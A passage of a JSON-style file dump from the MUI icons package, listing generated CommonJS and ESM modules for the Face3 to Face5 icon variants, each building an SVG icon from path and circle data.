\"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.91 11.96C22.39 6.32 17.66 2 12 2S1.61 6.32 1.09 11.96l-.9 9.86c-.1 1.17.82 2.18 2 2.18h19.62c1.18 0 2.1-1.01 1.99-2.18zM13 4.07c2.26.28 4.22 1.51 5.49 3.28-.58.4-1.26.65-1.99.65C14.57 8 13 6.43 13 4.5zm-2 0v.43C11 6.43 9.43 8 7.5 8c-.73 0-1.41-.25-1.99-.65 1.27-1.77 3.23-3 5.49-3.28M4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87M12 22H2.19l.56-6.2C4.25 19.44 7.82 22 12 22s7.75-2.56 9.25-6.2l.56 6.2z\"\n}, \"3\")], 'Face3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 8c.73 0 1.41-.25 1.99-.65-1.27-1.77-3.23-3-5.49-3.28v.43C13 6.43 14.57 8 16.5 8M11 4.5v-.43c-2.26.28-4.22 1.51-5.49 3.28.58.4 1.26.65 1.99.65C9.43 8 11 6.43 11 4.5M2.75 15.8 2.19 22H12c-4.18 0-7.75-2.56-9.25-6.2M12 22h9.81l-.56-6.2C19.75 19.44 16.18 22 12 22\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.91 11.96C22.39 6.32 17.66 2 12 2S1.61 6.32 1.09 11.96l-.9 9.86c-.1 1.17.82 2.18 2 2.18h19.62c1.18 0 2.1-1.01 1.99-2.18zM13 4.07c2.26.28 4.22 1.51 5.49 3.28-.58.4-1.26.65-1.99.65C14.57 8 13 6.43 13 4.5zm-2 0v.43C11 6.43 9.43 8 7.5 8c-.73 0-1.41-.25-1.99-.65 1.27-1.77 3.23-3 5.49-3.28M4.54 9.13c.87.55 1.89.87 2.96.87 1.86 0 3.5-.93 4.5-2.35C13 9.07 14.64 10 16.5 10c1.07 0 2.09-.32 2.96-.87.34.89.54 1.86.54 2.87 0 4.41-3.59 8-8 8s-8-3.59-8-8c0-1.01.2-1.98.54-2.87M12 22H2.19l.56-6.2C4.25 19.44 7.82 22 12 22s7.75-2.56 9.25-6.2l.56 6.2z\"\n}, \"3\")], 'Face3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 2c2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88.43-.07.88-.12 1.34-.12M4.42 9.47C5.05 7.58 6.37 6 8.08 5.03 7.45 6.92 6.13 8.5 4.42 9.47M2 5c0-1.65 1.35-3 3-3 .95 0 1.8.46 2.35 1.15-1.79.94-3.26 2.41-4.2 4.2C2.46 6.8 2 5.95 2 5m10 15c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 2c2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88.43-.07.88-.12 1.34-.12M4.42 9.47C5.05 7.58 6.37 6 8.08 5.03 7.45 6.92 6.13 8.5 4.42 9.47M2 5c0-1.65 1.35-3 3-3 .95 0 1.8.46 2.35 1.15-1.79.94-3.26 2.41-4.2 4.2C2.46 6.8 2 5.95 2 5m10 15c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\")], 'Face4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12C12.06 6.44 14.6 8 17.5 8M7.35 3.15C6.8 2.46 5.95 2 5 2 3.35 2 2 3.35 2 5c0 .95.46 1.8 1.15 2.35.94-1.79 2.41-3.26 4.2-4.2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 2c2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88.43-.07.88-.12 1.34-.12M2 5c0-1.65 1.35-3 3-3 .95 0 1.8.46 2.35 1.15-1.79.94-3.26 2.41-4.2 4.2C2.46 6.8 2 5.95 2 5m6.08.03C7.45 6.92 6.13 8.5 4.42 9.47 5.05 7.58 6.37 6 8.08 5.03M12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"3\")], 'Face4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face4TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.42 9.47c1.71-.97 3.03-2.55 3.66-4.44C6.37 6 5.05 7.58 4.42 9.47M17.5 8c.46 0 .91-.05 1.34-.12C17.44 5.56 14.9 4 12 4c-.46 0-.91.05-1.34.12C12.06 6.44 14.6 8 17.5 8M7.35 3.15C6.8 2.46 5.95 2 5 2 3.35 2 2 3.35 2 5c0 .95.46 1.8 1.15 2.35.94-1.79 2.41-3.26 4.2-4.2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-.96 0-1.88.14-2.75.39C8.37.96 6.8 0 5 0 2.24 0 0 2.24 0 5c0 1.8.96 3.37 2.39 4.25C2.14 10.12 2 11.04 2 12c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2m0 2c2.9 0 5.44 1.56 6.84 3.88-.43.07-.88.12-1.34.12-2.9 0-5.44-1.56-6.84-3.88.43-.07.88-.12 1.34-.12M2 5c0-1.65 1.35-3 3-3 .95 0 1.8.46 2.35 1.15-1.79.94-3.26 2.41-4.2 4.2C2.46 6.8 2 5.95 2 5m6.08.03C7.45 6.92 6.13 8.5 4.42 9.47 5.05 7.58 6.37 6 8.08 5.03M12 20c-4.41 0-8-3.59-8-8 0-.05.01-.1.01-.15 2.6-.98 4.68-2.99 5.74-5.55 1.83 2.26 4.62 3.7 7.75 3.7.75 0 1.47-.09 2.17-.24.21.71.33 1.46.33 2.24 0 4.41-3.59 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"3\")], 'Face4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 0-.25-.19-.45-.43-.49.15-.26.32-.51.49-.75-.03.08-.06.15-.06.24 0 .28.22.5.5.5s.5-.22.5-.5S6.28 7 6 7c-.13 0-.25.05-.34.13.52-.68 1.15-1.28 1.86-1.76-.01.04-.02.08-.02.13 0 .28.22.5.5.5s.5-.22.5-.5c0-.24-.17-.43-.4-.48.16-.09.32-.17.49-.25.09.14.24.23.41.23.28 0 .5-.22.5-.5 0-.03-.01-.06-.02-.09.39-.13.79-.23 1.21-.3-.11.1-.19.23-.19.39 0 .28.22.5.5.5s.5-.22.5-.5c0-.21-.13-.38-.3-.46.26-.03.53-.04.8-.04s.54.01.8.04c-.18.08-.3.25-.3.46 0 .28.22.5.5.5s.5-.22.5-.5c0-.16-.08-.29-.19-.38.41.07.82.17 1.21.3-.01.02-.02.05-.02.08 0 .28.22.5.5.5.17 0 .32-.09.41-.23.17.08.33.16.49.25-.23.05-.4.24-.4.48 0 .28.22.5.5.5s.5-.22.5-.5c0-.05-.01-.09-.03-.13.71.48 1.34 1.08 1.86 1.76-.08-.08-.2-.13-.33-.13-.28 0-.5.22-.5.5s.22.5.5.5.5-.22.5-.5c0-.09-.03-.16-.07-.23.18.24.34.49.49.75-.23.03-.42.23-.42.48 0 .28.22.5.5.5.14 0 .26-.06.35-.15.42.97.65 2.03.65 3.15 0 4.41-3.59 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"5.5\",\n  r: \".5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"7\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"8\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"9\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"6.5\",\n  r: \".5\"\n}, \"10\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"11\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"12\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"13\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"14\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"7.5\",\n  r: \".5\"\n}, \"15\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"16\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"17\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"18\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"19\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"20\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"8.5\",\n  r: \".5\"\n}, \"21\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1.25\"\n}, \"22\")], 'Face5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Face5Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8 0-1.12.23-2.18.65-3.15.09.09.21.15.35.15.28 0 .5-.22.5-.5 